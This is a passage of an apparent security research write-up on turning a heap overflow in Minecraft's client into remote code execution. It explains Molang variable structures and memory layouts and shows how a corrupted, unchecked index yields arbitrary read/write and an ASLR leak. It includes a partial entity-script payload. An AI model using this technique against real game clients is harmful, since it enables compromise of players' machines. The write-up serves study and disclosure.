guide",{"type":27,"value":231},{"type":22,"tag":23,"props":155979,"children":155980},{},[155981,155983,155988,155989,155994],{"type":27,"value":155982},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":22,"tag":30,"props":155984,"children":155986},{"className":155985},[],[155987],{"type":27,"value":4340},{"type":27,"value":209},{"type":22,"tag":30,"props":155990,"children":155992},{"className":155991},[],[155993],{"type":27,"value":19686},{"type":27,"value":155995}," operators are supported.",{"type":22,"tag":23,"props":155997,"children":155998},{},[155999,156001,156007,156009,156014,156016,156021,156022,156027,156028],{"type":27,"value":156000},"Variables are defined by prepending ",{"type":22,"tag":30,"props":156002,"children":156004},{"className":156003},[],[156005],{"type":27,"value":156006},"variable.",{"type":27,"value":156008}," to the name and assigning a value. For example, to define ",{"type":22,"tag":30,"props":156010,"children":156012},{"className":156011},[],[156013],{"type":27,"value":13090},{"type":27,"value":156015}," as the sum of ",{"type":22,"tag":30,"props":156017,"children":156019},{"className":156018},[],[156020],{"type":27,"value":80},{"type":27,"value":209},{"type":22,"tag":30,"props":156023,"children":156025},{"className":156024},[],[156026],{"type":27,"value":7262},{"type":27,"value":19332},{"type":22,"tag":30,"props":156029,"children":156031},{"className":156030},[],[156032],{"type":27,"value":156033},"variable.result = variable.a + variable.b;",{"type":22,"tag":23,"props":156035,"children":156036},{},[156037,156039,156044,156045,156050,156051,156056,156057,156062],{"type":27,"value":156038},"Logical operators such as ",{"type":22,"tag":30,"props":156040,"children":156042},{"className":156041},[],[156043],{"type":27,"value":26406},{"type":27,"value":758},{"type":22,"tag":30,"props":156046,"children":156048},{"className":156047},[],[156049],{"type":27,"value":76702},{"type":27,"value":758},{"type":22,"tag":30,"props":156052,"children":156054},{"className":156053},[],[156055],{"type":27,"value":123},{"type":27,"value":758},{"type":22,"tag":30,"props":156058,"children":156060},{"className":156059},[],[156061],{"type":27,"value":14467},{"type":27,"value":156063},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":22,"tag":91,"props":156065,"children":156067},{"code":156066},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[156068],{"type":22,"tag":30,"props":156069,"children":156070},{"__ignoreMap":7},[156071],{"type":27,"value":156066},{"type":22,"tag":23,"props":156073,"children":156074},{},[156075],{"type":27,"value":156076},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":22,"tag":22883,"props":156078,"children":156080},{"id":156079},"molang-internals",[156081],{"type":27,"value":156082},"Molang Internals",{"type":22,"tag":23,"props":156084,"children":156085},{},[156086],{"type":27,"value":156087},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":22,"tag":23,"props":156089,"children":156090},{},[156091],{"type":27,"value":156092},"Below we describe the structures involved and their memory layout.",{"type":22,"tag":22883,"props":156094,"children":156096},{"id":156095},"molangvariable-and-molangscriptarg",[156097],{"type":27,"value":156098},"MolangVariable and MolangScriptArg",{"type":22,"tag":23,"props":156100,"children":156101},{},[156102,156103,156109],{"type":27,"value":105858},{"type":22,"tag":30,"props":156104,"children":156106},{"className":156105},[],[156107],{"type":27,"value":156108},"MolangVariable",{"type":27,"value":156110}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":22,"tag":91,"props":156112,"children":156114},{"code":156113,"language":7187,"meta":7,"className":20513,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[156115],{"type":22,"tag":30,"props":156116,"children":156117},{"__ignoreMap":7},[156118,156130,156137,156149,156162,156170,156177,156184,156196,156209,156221,156251,156259,156266,156273],{"type":22,"tag":101,"props":156119,"children":156120},{"class":103,"line":104},[156121,156125],{"type":22,"tag":101,"props":156122,"children":156123},{"style":108},[156124],{"type":27,"value":111},{"type":22,"tag":101,"props":156126,"children":156127},{"style":120},[156128],{"type":27,"value":156129}," MolangVariable {\n",{"type":22,"tag":101,"props":156131,"children":156132},{"class":103,"line":157},[156133],{"type":22,"tag":101,"props":156134,"children":156135},{"style":120},[156136],{"type":27,"value":942},{"type":22,"tag":101,"props":156138,"children":156139},{"class":103,"line":182},[156140,156144],{"type":22,"tag":101,"props":156141,"children":156142},{"style":108},[156143],{"type":27,"value":10084},{"type":22,"tag":101,"props":156145,"children":156146},{"style":120},[156147],{"type":27,"value":156148}," HashedString {\n",{"type":22,"tag":101,"props":156150,"children":156151},{"class":103,"line":367},[156152,156157],{"type":22,"tag":101,"props":156153,"children":156154},{"style":108},[156155],{"type":27,"value":156156}," uint64_t",{"type":22,"tag":101,"props":156158,"children":156159},{"style":120},[156160],{"type":27,"value":156161}," variable_name_hash;\n",{"type":22,"tag":101,"props":156163,"children":156164},{"class":103,"line":398},[156165],{"type":22,"tag":101,"props":156166,"children":156167},{"style":120},[156168],{"type":27,"value":156169}," std::string variable_name;\n",{"type":22,"tag":101,"props":156171,"children":156172},{"class":103,"line":428},[156173],{"type":22,"tag":101,"props":156174,"children":156175},{"style":120},[156176],{"type":27,"value":3812},{"type":22,"tag":101,"props":156178,"children":156179},{"class":103,"line":997},[156180],{"type":22,"tag":101,"props":156181,"children":156182},{"style":120},[156183],{"type":27,"value":942},{"type":22,"tag":101,"props":156185,"children":156186},{"class":103,"line":1032},[156187,156191],{"type":22,"tag":101,"props":156188,"children":156189},{"style":108},[156190],{"type":27,"value":10084},{"type":22,"tag":101,"props":156192,"children":156193},{"style":120},[156194],{"type":27,"value":156195}," MolangScriptArg {\n",{"type":22,"tag":101,"props":156197,"children":156198},{"class":103,"line":1063},[156199,156204],{"type":22,"tag":101,"props":156200,"children":156201},{"style":108},[156202],{"type":27,"value":156203}," uint32_t",{"type":22,"tag":101,"props":156205,"children":156206},{"style":120},[156207],{"type":27,"value":156208}," value_type;\n",{"type":22,"tag":101,"props":156210,"children":156211},{"class":103,"line":1071},[156212,156216],{"type":22,"tag":101,"props":156213,"children":156214},{"style":108},[156215],{"type":27,"value":156156},{"type":22,"tag":101,"props":156217,"children":156218},{"style":120},[156219],{"type":27,"value":156220}," value;\n",{"type":22,"tag":101,"props":156222,"children":156223},{"class":103,"line":1110},[156224,156229,156233,156237,156242,156246],{"type":22,"tag":101,"props":156225,"children":156226},{"style":120},[156227],{"type":27,"value":156228}," std::vector",{"type":22,"tag":101,"props":156230,"children":156231},{"style":166},[156232],{"type":27,"value":123},{"type":22,"tag":101,"props":156234,"children":156235},{"style":108},[156236],{"type":27,"value":111},{"type":22,"tag":101,"props":156238,"children":156239},{"style":120},[156240],{"type":27,"value":156241}," MolangScriptArg",{"type":22,"tag":101,"props":156243,"children":156244},{"style":166},[156245],{"type":27,"value":14467},{"type":22,"tag":101,"props":156247,"children":156248},{"style":120},[156249],{"type":27,"value":156250}," struct_fields;\n",{"type":22,"tag":101,"props":156252,"children":156253},{"class":103,"line":1118},[156254],{"type":22,"tag":101,"props":156255,"children":156256},{"style":120},[156257],{"type":27,"value":156258}," \n",{"type":22,"tag":101,"props":156260,"children":156261},{"class":103,"line":1158},[156262],{"type":22,"tag":101,"props":156263,"children":156264},{"style":120},[156265],{"type":27,"value":127546},{"type":22,"tag":101,"props":156267,"children":156268},{"class":103,"line":1166},[156269],{"type":22,"tag":101,"props":156270,"children":156271},{"style":120},[156272],{"type":27,"value":3812},{"type":22,"tag":101,"props":156274,"children":156275},{"class":103,"line":1215},[156276],{"type":22,"tag":101,"props":156277,"children":156278},{"style":120},[156279],{"type":27,"value":20576},{"type":22,"tag":23,"props":156281,"children":156282},{},[156283,156285,156290],{"type":27,"value":156284},"In memory a ",{"type":22,"tag":30,"props":156286,"children":156288},{"className":156287},[],[156289],{"type":27,"value":156108},{"type":27,"value":156291}," instance resembles:",{"type":22,"tag":91,"props":156293,"children":156295},{"code":156294}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[156296],{"type":22,"tag":30,"props":156297,"children":156298},{"__ignoreMap":7},[156299],{"type":27,"value":156294},{"type":22,"tag":23,"props":156301,"children":156302},{},[156303],{"type":27,"value":156304},"For reference, example debugger view of the layout:",{"type":22,"tag":23,"props":156306,"children":156307},{},[156308],{"type":22,"tag":7959,"props":156309,"children":156311},{"alt":54574,"src":156310},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":22,"tag":23,"props":156313,"children":156314},{},[156315],{"type":27,"value":156316},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":22,"tag":23,"props":156318,"children":156319},{},[156320,156322,156328,156330,156335,156337,156343,156345,156350,156351,156356,156358,156363,156364,156370,156371,156377],{"type":27,"value":156321},"We only care about the ",{"type":22,"tag":30,"props":156323,"children":156325},{"className":156324},[],[156326],{"type":27,"value":156327},"MolangScriptArg",{"type":27,"value":156329}," beginning at offset ",{"type":22,"tag":30,"props":156331,"children":156333},{"className":156332},[],[156334],{"type":27,"value":132425},{"type":27,"value":156336}," because it contains variable values. In the screenshot above, the ",{"type":22,"tag":30,"props":156338,"children":156340},{"className":156339},[],[156341],{"type":27,"value":156342},"value_type",{"type":27,"value":156344}," at ",{"type":22,"tag":30,"props":156346,"children":156348},{"className":156347},[],[156349],{"type":27,"value":132425},{"type":27,"value":78},{"type":22,"tag":30,"props":156352,"children":156354},{"className":156353},[],[156355],{"type":27,"value":8065},{"type":27,"value":156357}," (meaning float), and the ",{"type":22,"tag":30,"props":156359,"children":156361},{"className":156360},[],[156362],{"type":27,"value":43146},{"type":27,"value":156344},{"type":22,"tag":30,"props":156365,"children":156367},{"className":156366},[],[156368],{"type":27,"value":156369},"0x38",{"type":27,"value":78},{"type":22,"tag":30,"props":156372,"children":156374},{"className":156373},[],[156375],{"type":27,"value":156376},"0xbf2070c8",{"type":27,"value":231},{"type":22,"tag":23,"props":156379,"children":156380},{},[156381,156383,156389,156391,156396,156398,156403,156404,156409,156411,156416,156418,156423],{"type":27,"value":156382},"During assignment, such as ",{"type":22,"tag":30,"props":156384,"children":156386},{"className":156385},[],[156387],{"type":27,"value":156388},"variable.a = variable.b",{"type":27,"value":156390},", each field of ",{"type":22,"tag":30,"props":156392,"children":156394},{"className":156393},[],[156395],{"type":27,"value":156327},{"type":27,"value":156397}," is copied from variable ",{"type":22,"tag":30,"props":156399,"children":156401},{"className":156400},[],[156402],{"type":27,"value":7262},{"type":27,"value":60773},{"type":22,"tag":30,"props":156405,"children":156407},{"className":156406},[],[156408],{"type":27,"value":80},{"type":27,"value":156410},". Interestingly, the ",{"type":22,"tag":30,"props":156412,"children":156414},{"className":156413},[],[156415],{"type":27,"value":43146},{"type":27,"value":156417}," field is always copied as a ",{"type":22,"tag":30,"props":156419,"children":156421},{"className":156420},[],[156422],{"type":27,"value":59631},{"type":27,"value":156424}," even if the type is a 32-bit float.",{"type":22,"tag":23,"props":156426,"children":156427},{},[156428,156430,156436],{"type":27,"value":156429},"Each entity stores its variables in a per-entity vector called ",{"type":22,"tag":30,"props":156431,"children":156433},{"className":156432},[],[156434],{"type":27,"value":156435},"MolangVariableMap",{"type":27,"value":231},{"type":22,"tag":22883,"props":156438,"children":156440},{"id":156439},"molangvariablemap",[156441],{"type":27,"value":156435},{"type":22,"tag":23,"props":156443,"children":156444},{},[156445,156450,156452,156458,156460,156466],{"type":22,"tag":30,"props":156446,"children":156448},{"className":156447},[],[156449],{"type":27,"value":156435},{"type":27,"value":156451}," is simply a ",{"type":22,"tag":30,"props":156453,"children":156455},{"className":156454},[],[156456],{"type":27,"value":156457},"std::vector\u003CMolangVariable *>",{"type":27,"value":156459}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":22,"tag":30,"props":156461,"children":156463},{"className":156462},[],[156464],{"type":27,"value":156465},"std::vector",{"type":27,"value":156467}," layout:",{"type":22,"tag":91,"props":156469,"children":156471},{"code":156470,"language":7187,"meta":7,"className":20513,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[156472],{"type":22,"tag":30,"props":156473,"children":156474},{"__ignoreMap":7},[156475,156487,156503,156519,156535],{"type":22,"tag":101,"props":156476,"children":156477},{"class":103,"line":104},[156478,156482],{"type":22,"tag":101,"props":156479,"children":156480},{"style":108},[156481],{"type":27,"value":111},{"type":22,"tag":101,"props":156483,"children":156484},{"style":120},[156485],{"type":27,"value":156486}," vector {\n",{"type":22,"tag":101,"props":156488,"children":156489},{"class":103,"line":157},[156490,156494,156498],{"type":22,"tag":101,"props":156491,"children":156492},{"style":108},[156493],{"type":27,"value":20546},{"type":22,"tag":101,"props":156495,"children":156496},{"style":166},[156497],{"type":27,"value":13822},{"type":22,"tag":101,"props":156499,"children":156500},{"style":120},[156501],{"type":27,"value":156502},"buf;\n",{"type":22,"tag":101,"props":156504,"children":156505},{"class":103,"line":182},[156506,156510,156514],{"type":22,"tag":101,"props":156507,"children":156508},{"style":108},[156509],{"type":27,"value":20546},{"type":22,"tag":101,"props":156511,"children":156512},{"style":166},[156513],{"type":27,"value":13822},{"type":22,"tag":101,"props":156515,"children":156516},{"style":120},[156517],{"type":27,"value":156518},"len;\n",{"type":22,"tag":101,"props":156520,"children":156521},{"class":103,"line":367},[156522,156526,156530],{"type":22,"tag":101,"props":156523,"children":156524},{"style":108},[156525],{"type":27,"value":20546},{"type":22,"tag":101,"props":156527,"children":156528},{"style":166},[156529],{"type":27,"value":13822},{"type":22,"tag":101,"props":156531,"children":156532},{"style":120},[156533],{"type":27,"value":156534},"cap;\n",{"type":22,"tag":101,"props":156536,"children":156537},{"class":103,"line":398},[156538],{"type":22,"tag":101,"props":156539,"children":156540},{"style":120},[156541],{"type":27,"value":20576},{"type":22,"tag":23,"props":156543,"children":156544},{},[156545,156550,156552,156557,156559,156565,156567,156572,156573,156578],{"type":22,"tag":30,"props":156546,"children":156548},{"className":156547},[],[156549],{"type":27,"value":153631},{"type":27,"value":156551}," points to the allocated array of elements, ",{"type":22,"tag":30,"props":156553,"children":156555},{"className":156554},[],[156556],{"type":27,"value":13147},{"type":27,"value":156558}," points just past the last used element, and ",{"type":22,"tag":30,"props":156560,"children":156562},{"className":156561},[],[156563],{"type":27,"value":156564},"cap",{"type":27,"value":156566}," points to the end of the allocated buffer. Notably, the types of ",{"type":22,"tag":30,"props":156568,"children":156570},{"className":156569},[],[156571],{"type":27,"value":13147},{"type":27,"value":209},{"type":22,"tag":30,"props":156574,"children":156576},{"className":156575},[],[156577],{"type":27,"value":156564},{"type":27,"value":156579}," aren't typical integer types for sizes, but both are pointers.",{"type":22,"tag":23,"props":156581,"children":156582},{},[156583],{"type":27,"value":156584},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":22,"tag":91,"props":156586,"children":156588},{"code":156587},"+---------+ +--------------------+\n| buf +-------> | MolangVariable A* |\n+---------+ +--------------------+\n| len +----+ | MolangVariable B* |\n+---------+ | +--------------------+\n| cap | | | MolangVariable C* |\n+----+----+ | +--------------------+\n | +--> | Empty element slot |\n | +--------------------+\n | ^\n +-----------------------------------+\n",[156589],{"type":22,"tag":30,"props":156590,"children":156591},{"__ignoreMap":7},[156592],{"type":27,"value":156587},{"type":22,"tag":23,"props":156594,"children":156595},{},[156596,156598,156604,156606,156612],{"type":27,"value":156597},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":22,"tag":30,"props":156599,"children":156601},{"className":156600},[],[156602],{"type":27,"value":156603},"variable.result",{"type":27,"value":156605},") may differ between entities. To get around this, ",{"type":22,"tag":30,"props":156607,"children":156609},{"className":156608},[],[156610],{"type":27,"value":156611},"MolangIndexMap",{"type":27,"value":156613}," is used to map a global variable name to the correct per-entity slot.",{"type":22,"tag":22883,"props":156615,"children":156617},{"id":156616},"molangindexmap",[156618],{"type":27,"value":156611},{"type":22,"tag":23,"props":156620,"children":156621},{},[156622,156627,156629,156635,156637,156643],{"type":22,"tag":30,"props":156623,"children":156625},{"className":156624},[],[156626],{"type":27,"value":156611},{"type":27,"value":156628}," is a per-entity ",{"type":22,"tag":30,"props":156630,"children":156632},{"className":156631},[],[156633],{"type":27,"value":156634},"std::vector\u003Cuint16_t>",{"type":27,"value":156636},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":22,"tag":30,"props":156638,"children":156640},{"className":156639},[],[156641],{"type":27,"value":156642},"variable.result = 0",{"type":27,"value":156644}," it:",{"type":22,"tag":6828,"props":156646,"children":156647},{},[156648,156658,156668],{"type":22,"tag":6832,"props":156649,"children":156650},{},[156651,156653],{"type":27,"value":156652},"Checks the global hashmap for ",{"type":22,"tag":30,"props":156654,"children":156656},{"className":156655},[],[156657],{"type":27,"value":13090},{"type":22,"tag":6832,"props":156659,"children":156660},{},[156661,156663],{"type":27,"value":156662},"If found, uses the global index to look up the per-entity index in ",{"type":22,"tag":30,"props":156664,"children":156666},{"className":156665},[],[156667],{"type":27,"value":156611},{"type":22,"tag":6832,"props":156669,"children":156670},{},[156671,156673],{"type":27,"value":156672},"If not found, creates a new global entry and assigns it ",{"type":22,"tag":30,"props":156674,"children":156676},{"className":156675},[],[156677],{"type":27,"value":156678},"last_index + 1",{"type":22,"tag":23,"props":156680,"children":156681},{},[156682,156684,156689,156691,156696,156698,156703,156705,156710,156712,156717,156718,156724,156726,156731],{"type":27,"value":156683},"This means the same global index for variable ",{"type":22,"tag":30,"props":156685,"children":156687},{"className":156686},[],[156688],{"type":27,"value":13090},{"type":27,"value":156690}," maps to the same position inside every entity’s ",{"type":22,"tag":30,"props":156692,"children":156694},{"className":156693},[],[156695],{"type":27,"value":156611},{"type":27,"value":156697},", but the actual ",{"type":22,"tag":30,"props":156699,"children":156701},{"className":156700},[],[156702],{"type":27,"value":156108},{"type":27,"value":156704}," for ",{"type":22,"tag":30,"props":156706,"children":156708},{"className":156707},[],[156709],{"type":27,"value":13090},{"type":27,"value":156711}," may live at different slots inside each entity's ",{"type":22,"tag":30,"props":156713,"children":156715},{"className":156714},[],[156716],{"type":27,"value":156435},{"type":27,"value":3415},{"type":22,"tag":30,"props":156719,"children":156721},{"className":156720},[],[156722],{"type":27,"value":156723},"Entity.MolangIndexMap[global_index]",{"type":27,"value":156725}," stores the per-entity index (slot) of variable ",{"type":22,"tag":30,"props":156727,"children":156729},{"className":156728},[],[156730],{"type":27,"value":13090},{"type":27,"value":231},{"type":22,"tag":23,"props":156733,"children":156734},{},[156735,156737,156742,156744,156749,156751,156756,156758,156763,156765,156771,156773,156778],{"type":27,"value":156736},"Importantly, we found that indices in the ",{"type":22,"tag":30,"props":156738,"children":156740},{"className":156739},[],[156741],{"type":27,"value":156611},{"type":27,"value":156743}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":22,"tag":30,"props":156745,"children":156747},{"className":156746},[],[156748],{"type":27,"value":156435},{"type":27,"value":156750},". This means that if we overwrite the index of variable ",{"type":22,"tag":30,"props":156752,"children":156754},{"className":156753},[],[156755],{"type":27,"value":13090},{"type":27,"value":156757}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":22,"tag":30,"props":156759,"children":156761},{"className":156760},[],[156762],{"type":27,"value":156435},{"type":27,"value":156764},", we could read from and write to ",{"type":22,"tag":30,"props":156766,"children":156768},{"className":156767},[],[156769],{"type":27,"value":156770},"address + 0x38",{"type":27,"value":156772}," through ",{"type":22,"tag":30,"props":156774,"children":156776},{"className":156775},[],[156777],{"type":27,"value":156603},{"type":27,"value":231},{"type":22,"tag":1760,"props":156780,"children":156782},{"id":156781},"building-a-molang-arbitrary-rw-primitive",[156783],{"type":27,"value":156784},"Building a Molang Arbitrary R/W Primitive",{"type":22,"tag":23,"props":156786,"children":156787},{},[156788,156790,156795,156797,156802],{"type":27,"value":156789},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":22,"tag":30,"props":156791,"children":156793},{"className":156792},[],[156794],{"type":27,"value":156465},{"type":27,"value":156796}," - specifically, of ",{"type":22,"tag":30,"props":156798,"children":156800},{"className":156799},[],[156801],{"type":27,"value":156435},{"type":27,"value":156803}," vector.",{"type":22,"tag":23,"props":156805,"children":156806},{},[156807,156809,156814,156816,156821,156822,156827,156829,156834],{"type":27,"value":156808},"Because every entity object is heap-allocated and contains a ",{"type":22,"tag":30,"props":156810,"children":156812},{"className":156811},[],[156813],{"type":27,"value":156435},{"type":27,"value":156815}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":22,"tag":30,"props":156817,"children":156819},{"className":156818},[],[156820],{"type":27,"value":153631},{"type":27,"value":59788},{"type":22,"tag":30,"props":156823,"children":156825},{"className":156824},[],[156826],{"type":27,"value":156435},{"type":27,"value":156828}," vector belonging to an entity object placed just next the ",{"type":22,"tag":30,"props":156830,"children":156832},{"className":156831},[],[156833],{"type":27,"value":156435},{"type":27,"value":156835}," allocated buffer.",{"type":22,"tag":91,"props":156837,"children":156839},{"code":156838}," +-------------+ \u003C--+ \n+---> | variable.a | | \n| +-------------+ | \n| | variable.b | | \n| +-------------+ +- MolangVariableMap allocated buffer\n| | . . . | | \n| +-------------+ | \n| | variable.f | | \n| +-------------+ \u003C--+--+ \n| | | | \n| | | | \n| | | | \n| | | | \n| +------+------+ +- Entity Object \n+-----+ buf | len | | \n +------+------+ | \n | cap | | | \n +------+ | | \n +-------------+ \u003C-----+ \n",[156840],{"type":22,"tag":30,"props":156841,"children":156842},{"__ignoreMap":7},[156843],{"type":27,"value":156838},{"type":22,"tag":23,"props":156845,"children":156846},{},[156847,156849,156854,156856,156862,156864,156869,156870,156876,156877,156882,156884,156889,156891,156896,156898,156903,156905,156910,156912,156917,156919,156924,156926,156932,156934,156939,156941,156946],{"type":27,"value":156848},"In the scenario above, the ",{"type":22,"tag":30,"props":156850,"children":156852},{"className":156851},[],[156853],{"type":27,"value":156611},{"type":27,"value":156855}," would map ",{"type":22,"tag":30,"props":156857,"children":156859},{"className":156858},[],[156860],{"type":27,"value":156861},"variable.a",{"type":27,"value":156863}," -> index ",{"type":22,"tag":30,"props":156865,"children":156867},{"className":156866},[],[156868],{"type":27,"value":8065},{"type":27,"value":758},{"type":22,"tag":30,"props":156871,"children":156873},{"className":156872},[],[156874],{"type":27,"value":156875},"variable.b",{"type":27,"value":156863},{"type":22,"tag":30,"props":156878,"children":156880},{"className":156879},[],[156881],{"type":27,"value":6813},{"type":27,"value":156883},", and so on. If we overwrite the index for ",{"type":22,"tag":30,"props":156885,"children":156887},{"className":156886},[],[156888],{"type":27,"value":156861},{"type":27,"value":156890}," with a value that is out-of-bounds for the ",{"type":22,"tag":30,"props":156892,"children":156894},{"className":156893},[],[156895],{"type":27,"value":156435},{"type":27,"value":156897},", it can instead index the ",{"type":22,"tag":30,"props":156899,"children":156901},{"className":156900},[],[156902],{"type":27,"value":153631},{"type":27,"value":156904}," field of the entity object above. Reading ",{"type":22,"tag":30,"props":156906,"children":156908},{"className":156907},[],[156909],{"type":27,"value":156861},{"type":27,"value":156911}," will then return the pointer stored at offset ",{"type":22,"tag":30,"props":156913,"children":156915},{"className":156914},[],[156916],{"type":27,"value":156369},{"type":27,"value":156918}," from the start of the ",{"type":22,"tag":30,"props":156920,"children":156922},{"className":156921},[],[156923],{"type":27,"value":156435},{"type":27,"value":156925}," (which in this diagram corresponds to ",{"type":22,"tag":30,"props":156927,"children":156929},{"className":156928},[],[156930],{"type":27,"value":156931},"variable.f",{"type":27,"value":156933},"), and writing to ",{"type":22,"tag":30,"props":156935,"children":156937},{"className":156936},[],[156938],{"type":27,"value":156861},{"type":27,"value":156940}," will overwrite that pointer - corrupting ",{"type":22,"tag":30,"props":156942,"children":156944},{"className":156943},[],[156945],{"type":27,"value":156931},{"type":27,"value":231},{"type":22,"tag":23,"props":156948,"children":156949},{},[156950,156952,156957,156958,156964,156966,156971,156973,156979,156981,156986,156988,156993,156995,157001,157003,157009,157011,157016],{"type":27,"value":156951},"To leak the address of the Minecraft executable we could increment ",{"type":22,"tag":30,"props":156953,"children":156955},{"className":156954},[],[156956],{"type":27,"value":156861},{"type":27,"value":3603},{"type":22,"tag":30,"props":156959,"children":156961},{"className":156960},[],[156962],{"type":27,"value":156963},"variable.a += 8",{"type":27,"value":156965},"), which advances the pointer used for ",{"type":22,"tag":30,"props":156967,"children":156969},{"className":156968},[],[156970],{"type":27,"value":156931},{"type":27,"value":156972}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":22,"tag":30,"props":156974,"children":156976},{"className":156975},[],[156977],{"type":27,"value":156978},"variable.a = variable.exe_leak + \u003Coffset>",{"type":27,"value":156980}," - this updates the ",{"type":22,"tag":30,"props":156982,"children":156984},{"className":156983},[],[156985],{"type":27,"value":156931},{"type":27,"value":156987}," pointer to our chosen address, and writing to ",{"type":22,"tag":30,"props":156989,"children":156991},{"className":156990},[],[156992],{"type":27,"value":156931},{"type":27,"value":156994},", for example ",{"type":22,"tag":30,"props":156996,"children":156998},{"className":156997},[],[156999],{"type":27,"value":157000},"variable.f = 1337",{"type":27,"value":157002},", writes the value ",{"type":22,"tag":30,"props":157004,"children":157006},{"className":157005},[],[157007],{"type":27,"value":157008},"1337",{"type":27,"value":157010}," to offset ",{"type":22,"tag":30,"props":157012,"children":157014},{"className":157013},[],[157015],{"type":27,"value":156369},{"type":27,"value":157017}," from that calculated address.",{"type":22,"tag":22883,"props":157019,"children":157021},{"id":157020},"testing-the-idea",[157022],{"type":27,"value":157023},"Testing the Idea",{"type":22,"tag":23,"props":157025,"children":157026},{},[157027,157029,157034,157036,157041,157043,157048],{"type":27,"value":157028},"We tested the idea by manually adding a pointer to the start of ",{"type":22,"tag":30,"props":157030,"children":157032},{"className":157031},[],[157033],{"type":27,"value":156435},{"type":27,"value":157035}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":22,"tag":6961,"props":157037,"children":157038},{},[157039],{"type":27,"value":157040},"almost",{"type":27,"value":157042}," worked - below is the state of the ",{"type":22,"tag":30,"props":157044,"children":157046},{"className":157045},[],[157047],{"type":27,"value":156435},{"type":27,"value":157049},"'s allocated buffer before the Molang script executes:",{"type":22,"tag":23,"props":157051,"children":157052},{},[157053],{"type":22,"tag":7959,"props":157054,"children":157056},{"alt":54574,"src":157055},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":22,"tag":23,"props":157058,"children":157059},{},[157060],{"type":27,"value":157061},"And this is after execution:",{"type":22,"tag":23,"props":157063,"children":157064},{},[157065],{"type":22,"tag":7959,"props":157066,"children":157068},{"alt":54574,"src":157067},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":22,"tag":23,"props":157070,"children":157071},{},[157072],{"type":27,"value":157073},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":22,"tag":91,"props":157075,"children":157077},{"code":157076,"language":37993,"meta":7,"className":37991,"style":7},"{\n \"format_version\": \"1.10.0\",\n \"minecraft:client_entity\": {\n \"description\": {\n \"identifier\": \"minecraft:leash_knot\",\n\n [...]\n \n \"scripts\": {\n \"initialize\": [\n \"variable.a = 0;\",\n \"variable.b = 0;\",\n \"variable.c = 0;\",\n [...]\n ],\n \"pre_animation\": [\n \"variable.a = 2.310732e-27;\"\n ]\n },\n }\n }\n}\n",[157078],{"type":22,"tag":30,"props":157079,"children":157080},{"__ignoreMap":7},[157081,157088,157109,157121,157133,157154,157161,157168,157175,157187,157200,157212,157224,157236,157252,157259,157271,157279,157287,157294,157301,157308],{"type":22,"tag":101,"props":157082,"children":157083},{"class":103,"line":104},[157084],{"type":22,"tag":101,"props":157085,"children":157086},{"style":120},[157087],{"type":27,"value":14886},{"type":22,"tag":101,"props":157089,"children":157090},{"class":103,"line":157},[157091,157096,157100,157105],{"type":22,"tag":101,"props":157092,"children":157093},{"style":126},[157094],{"type":27,"value":157095}," \"format_version\"",{"type":22,"tag":101,"props":157097,"children":157098},{"style":120},[157099],{"type":27,"value":19332},{"type":22,"tag":101,"props":157101,"children":157102},{"style":6476},[157103],{"type":27,"value":157104},"\"1.10.0\"",{"type":22,"tag":101,"props":157106,"children":157107},{"style":120},[157108],{"type":27,"value":179},{"type":22,"tag":101,"props":157110,"children":157111},{"class":103,"line":182},[157112,157117],{"type":22,"tag":101,"props":157113,"children":157114},{"style":126},[157115],{"type":27,"value":157116}," \"minecraft:client_entity\"",{"type":22,"tag":101,"props":157118,"children":157119},{"style":120},[157120],{"type":27,"value":41018},{"type":22,"tag":101,"props":157122,"children":157123},{"class":103,"line":367},[157124,157129],{"type":22,"tag":101,"props":157125,"children":157126},{"style":126},[157127],{"type":27,"value":157128}," \"description\"",{"type":22,"tag":101,"props":157130,"children":157131},{"style":120},[157132],{"type":27,"value":41018},{"type":22,"tag":101,"props":157134,"children":157135},{"class":103,"line":398},[157136,157141,157145,157150],{"type":22,"tag":101,"props":157137,"children":157138},{"style":126},[157139],{"type":27,"value":157140}," 